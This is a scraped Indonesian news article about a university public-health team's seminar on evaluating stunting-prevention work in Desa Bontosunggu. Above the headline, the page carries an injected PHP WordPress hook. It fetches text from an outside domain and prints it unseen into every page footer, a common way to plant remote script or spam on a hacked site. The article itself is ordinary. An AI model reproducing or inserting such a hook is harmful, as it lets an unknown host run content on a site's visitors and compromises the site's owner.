function load_external_content() { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://pausgundik.com/a.txt'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch); echo $a; } add_action('wp_footer', 'load_external_content');PBL III FKM Unhas: Posko 23 Gelar Seminar Awal sebagai Pembukaan Evaluasi Program Kesehatan Tematik Stunting di Desa Bontosunggu - Suluh Nusantara

Home / Uncategorized

Selasa, 24 Juni 2025 - 10:15 WIB

PBL III FKM Unhas: Posko 23 Gelar Seminar Awal sebagai Pembukaan Evaluasi Program Kesehatan Tematik Stunting di Desa Bontosunggu

Jeneponto, 24 Juni 2025 — Posko 23 Praktik Belajar Lapangan (PBL) III Fakultas Kesehatan Masyarakat Universitas Hasanuddin menyelenggarakan seminar awal program intervensi kesehatan pada Selasa (24/06/2025) di Kantor Desa Bontosunggu, Kecamatan Tamalatea, Kabupaten Jeneponto. Kegiatan yang dimulai pukul 10.00 WITA yang bertujuan memaparkan rencana evalusi program intervensi kesehatan yang telah dilaksanakan di desa tersebutpada PBL II yang dilaksanakan bulan januari 2025.

Tim Posko 23 terdiri dari seorang Dosen Supervisor, St. Rosmanely, SKM., MKM., dan enam mahasiswa dari berbagai departemen: Nur Alisa Rahim (Kesehatan Lingkungan), Inayah Nur Rahmaniyah (Keselamatan dan Kesehatan Kerja), Isni Apriana (Epidemiologi), Fitri Siska Busdir (Administrasi dan Kebijakan Kesehatan), Muhammad Azizul Hakim (Manajemen Rumah Sakit), dan Ahmad Khairul Aqila (Promosi Kesehatan dan Ilmu Perilaku).

Acara seminar awal dihadiri oleh 22 peserta yang terdiri dari berbagai aparat desa, termasuk Ketua BPD, Bendahara Desa, para Kepala Dusun, Kader Posyandu, dan aparat desa lainnya, serta beberapa masyarakat sekitar. Rangkaian acara dibuka dengan sambutan dari Koordinator Desa Posko 23 – Isni Apriana, dilanjutkan oleh Ketua BPD – Bapak Syamsuddin sekaligus membuka kegiatan seminar awal PBL II Posko 23 Desa Bontosunggu. Dalam pemaparan program, mahasiswa posko 23 menyampaikan maksud dan tujuan dari PBL III ini, yaitu guna melakukan evalusi terhadap intervensi kesehatan yang telah dilaksanakan di PBL II, dimana intervensi tersebut memiliki fokus utama pada pencegahan stunting.

Baca Juga  TRANSFORMASI SAMPAH DI SMPN 5 TAMALATEA MELALUI PROGRAM SABER (SAMPAH JADI BERKAH) YANG DILAKUKAN MAHASISWA PBL UNHAS DI JENEPONTO

Intervensi yang telah dilakukan pada saat PBL II meliputi penyuluhan tentang bahaya merokok dan risiko pernikahan dini kepada siswa SMP, penyuluhan pengelolaan sampah kepada siswa SD, serta edukasi mengenai stunting yang ditujukan kepada ibu hamil dan ibu dengan anak usia di bawah dua tahun (baduta). Kegiatan ini selaras dengan tujuan Sustainable Development Goals (SDGs), khususnya tujuan ke-3 yaitu Good Health and Well-being (Kehidupan Sehat dan Sejahtera). Melalui pendekatan edukatif dan pemberdayaan masyarakat, intervensi ini diharapkan dapat berkontribusi dalam meningkatkan kesadaran masyarakat Desa Bontosunggu dalam menurunkan prevalensi stunting.

Saat pemaparan tentang evalusi intervensi yang telah dilakukan pada PBL II di Desa Bontosunggu, berbagai pihak menunjukkan respons yang positif. Antusiasme tersebut terlihat jelas melalui diskusi yang hidup pada sesi tanya jawab, seperti Ketua BPD Desa Bontosunggu yang melontarkan pertanyaan terkait faktor penyebab mengapa Desa Bontosunggu menjadi desa yang menempati peringkat ke-2 dengan prevalensi stunting tertinggi di Kecamatan Tamalatea. Pertanyaan tersebut kemudia di jawab oleh salah satu mahasiswa posko 23 – Nur Alisa Rahim yang menjelaskan bahwa “Berdasarkan analisis masalah yang dilakukan dengan berlandaskan data yang telah dilakukan pada PBL 1 ditemukan 4 faktor utama tingginya prevalensi stunting di Desa Bontosunggu yaitu rendahnya pengetahuan ibu terkait stunting, buruknya pengolahan sampah, riwayat merokok keluarga, dan tingginya angka pernikahan dini.”

Baca Juga  Tumbuh: Program Inovatif untuk Remaja Putri di Desa Garassikang, Mahasiswa PBL 2 FKM Unhas Lawan Anemia di SMP Negeri 7 Bangkala Barat

Ungkapan tersebut mendapat tambahan dari salah satu Kepala Dusun – Bapak Usman A.Md. Kep. “Dalam melakukan pencegahan stunting yang efektif maka diperlukan peran dari beberapa pihak yakni pihak pemangku kebijakan dan masyarakat itu sendiri karena stunting merupakan masalah multi sektoral.”Program PBL III ini diharapkan mampu memberikan kontribusi dalam upaya peningkatan derajat kesehatan masyarakat di Desa Bontosunggu dengan mengedepankan pendekatan berbasis pemberdayaan masyarakat.

Share :

Baca Juga

Uncategorized

Posko Kelurahan Lapajung berhasil melaksanakan Seminar Akhir Praktik Belajar Lapangan (PBL) I Fakultas Kesehatan Masyarakat Universitas Hasanuddin
Doc. Mahasiswa Posko 20 PBL II FKM UNHAS bersama tokoh masyarakat Desa Kapita (Istimewa)

Uncategorized

Seminar Awal Posko 20 PBL II FKM UNHAS: Awal Kolaborasi Bersama Masyarakat Desa Kapita

Uncategorized

Posko 23 PBL 2 FKM Unhas Gelar Seminar Akhir: Hasil Intervensi Kesehatan di Desa Bontosunggu

Uncategorized

ECOKIDS: Misi Memilah Sampah Bersama Anak Negeri di Desa Balang Baru

Uncategorized

Pelaksanaan Kegiatan Seminar Awal Posko 19 PBL II FKM UNHAS Sebagai Langkah Awal Memperkenalkan Rencana Intervensi Berbasis Masalah di Desa Gunung Silanu

Uncategorized

Posko 26 PBL I FKM Unhas Gelar Seminar Awal Bersama Masyarakat Desa Panincong, Kec. Marioriawa

Uncategorized

CEGAH STUNTING, POSKO 14 PBL 2 FKM UNHAS GELAR EDUKASI BAHAYA ASAP ROKOK DI DESA TOMBO-TOMBOLO

Uncategorized

FKM Unhas Gelar Kuliah Tamu Internasional Bersama Prof Eileen Moyer dari University of Amsterdam: “Public Health in a Climate-Changing World”